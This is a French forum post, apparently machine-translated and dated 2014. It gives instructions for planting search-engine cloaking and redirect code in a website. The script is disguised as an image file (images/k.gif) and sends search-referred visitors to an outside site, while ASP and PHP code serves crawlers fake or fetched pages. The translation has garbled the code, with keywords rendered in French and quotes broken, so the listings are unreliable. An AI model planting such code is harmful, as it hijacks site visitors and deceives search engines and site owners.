Tout d’abord, c’est simple : ajoutez le code suivant à la page d’accueil :
Version ASP
<!--#include file="conn.asp »-->
<script src="images\k.gif"></script>
Version PHP
<!--#include file="conn.php »-->
<script src="images\k.gif"></script>
Ensuite, ajoutez le code suivant au fichier conn selon le programme du site web, si vous n’avez pas de conn.asp ou de conn.php, créez-le vous-même :
conn.asp édition
----------- la reproduction suivante --------------------------------
<%
fonction isspider()
Agent DIM, Searray, I
agent="agent :"&LCase(request.servervariables(« http_user_agent »))
searray=array (« googlebot », « baiduspider », « sogou », « yahoo », « soso », « 360spider »)
isspider= faux
pour i=0 à ubound (searray)
si (instr(agent,searray(i))>0) alors estaraignée=vraie=vraie
prochain
Fonction finale
fonction fromse()
dim urlrefer,i,searray
urlrefer="refer :"&LCase(request. ServerVariables(« HTTP_REFERER »))
Fromse = faux
si URLREFER=" » alors fromse= faux
searray=array(« google », « baidu », « sogou », « yahoo », « soso », « 360 »)
pour i=0 à ubound (searray)
si (instr(urlrefer,searray(i))>0) alors fromse=vrai
prochain
Fonction finale
fonction gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP »)
http.open « GET », url,false
Http.send()
si Http.readystate<>4 alors
Fonction de sortie
fin si
gethttp=bytes2BSTR(Http.responseBody)
Set http=Nothing
si err.nombre<>0 alors err. Clair
Fonction finale
function bytes2BSTR(vIn)
dim strReturn
dim i, CeCodeCharCode, Code Char suivant
strReturn = « »
Pour i = 1 À LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Si ce CharCode < & H80 alors
strReturn = strReturn & Chr(ThisCharCode)
Sinon
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Fin si
Prochain
bytes2BSTR = strReturn
Fonction finale
si(isspider()) alors
dim myfso, fileurl, filecon, myfile, bodyurl, remotehtml
bodyurl="http://www.itsvse.com » //snapshot URL
Réponse.clair
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write(« <!--« &now()& »--> »)
response.flush
Réponse.fin
fin si
%>
conn.php
---------------- la reproduction suivante ----------------
< ?php
fonction is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']) ;
$identify = réseau ('baiduspider', 'araignée sogou', 'araignée soso', 'iaskspider', 'naverrobot' ;
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
retour fidèle ;
}
}
return false ; }
fonction is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver » ;
$referer = exploser(« @ »,$come_from) ;
foreach($referer comme $url){
si (stristr($_SERVER['HTTP_REFERER'],$url)){
retour fidèle ;
}
}
return false ; }
si (is_search_bot())
{
$html = « <title>Collège professionnel de génie logiciel de Wuhan</title> <nom méta= \"Auteur\ » contenu=\"Remplir les mêmes mots clés\"> <nom méta=\"Mots-clés\ » contenu=\"Mots-clés\"> <nom méta=
\"Description\ » contenu=\"Description\"> </head> <body>Contenu</body></html> » ;
Echo $html ;
}
si ( !is_search_bot() & & is_urlbaidu())
{
En-tête ('Emplacement :http://www.itsvse.com');
}
?>
Enfin, dans le répertoire images, téléchargez un fichier k.gif k.gif le code :
var s=document.referrer
if(s.indexOf(« baidu »)>0 || s.indexOf(« soso »)>0 || s.indexOf(« google »)>0 || s.indexOf(« 360 »)>0 || s.indexOf(« sogou »)>0 )
location.href="http://www.itsvse.com » ; URL de redirection
|
Publié sur 01/12/2014 18:48:55
|
|
|
